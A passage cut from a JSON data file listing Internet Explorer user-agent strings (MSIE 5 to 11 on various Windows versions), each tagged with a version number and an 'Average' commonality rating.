Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (MSIE 9.0; Windows NT 10.0; WOW64; Trident\\/7.0; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MS-RTC LM 8)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; Windows NT 6.1;)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; MASBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CMDTDF; BRI\\/1; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MS-RTC LM 8; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; MANM; Media Center PC 6.0; BRI\\/2; MANM)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident\\/5.0; yie9)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Zune 4.7; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI\\/2; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; Touch; TNJB; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; ASU2JS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0+(Windows+NT+6.3;+WOW64;+Trident\\/7.0;+rv:11.0)+like+Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; MASPJS)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5.3.5)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MDDCJS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MAAU)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident\\/5.0)\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; yie11; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; MAMD; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Win64; AMD64)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident\\/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; EIE10;ENUSWOL)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64; Trident\\/7.0; MATMJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; BRI\\/2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident\\/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Tablet PC 2.0; Creative AutoUpdate v1.40.01)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; MATBJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FCTB100291; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.4; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MASAJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; msn OptimizedIE8;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"7.0\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; ASU2JS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; NP08; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; MAMD)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MAAU; MAAU)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; MDDSJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Trident\\/7.0; MDDRJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; b2w 0.1)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;NLNLMSE)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident\\/5.0; BOIE9;ENUSMSNIP)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MALCJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; playbrytetoolbar_Playbryte; yie8)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; CrystalSemanticsBot http:\\/\\/www.crystalsemantics.com\\/user-agent\\/)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (IE 11.0; Windows NT 6.3; Trident\\/7.0; .NET4.0E; .NET4.0C; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MASA; .NET4.0C; .NET4.0E; AskTbFWV5\\/5.15.29.67612)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.2; WOW64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident\\/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident\\/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; BRI\\/1; BRI\\/2; MDDRJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MASEJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident\\/6.0; MAGWJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; BOIE9;ENUSMSE; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FBSMTWB; FunWebProducts; chromeframe\\/32.0.1700.107; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FunWebProducts; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; BRI\\/2; BOIE8;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident\\/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FREE; .NET CLR 1.1.4322)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; FCTB100815; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; Touch; MASEJS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MASPJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident\\/5.0; MANM)\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; MASEJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; BOIE9;ENUS)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident\\/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0; InfoPath.3; BRI\\/2)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; PicMorphSearchToolbar 1.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64; Trident\\/7.0; Touch; MASAJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident\\/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident\\/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; A7F)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident\\/6.0; EIE10;ENUSMCM)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident\\/6.0; .NET4.0E; .NET4.0C)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64; Trident\\/7.0; Touch; MAARJS; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident\\/4.0; FCTB100815; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI\\/1; .NET4.0C; BRI\\/2; .NET4.0E)\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\\/6.0; EIE10;ENCAWOL)\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64; Trident\\/7.0; QwestIE8x64; rv:11.0) like Gecko\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident\\/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; 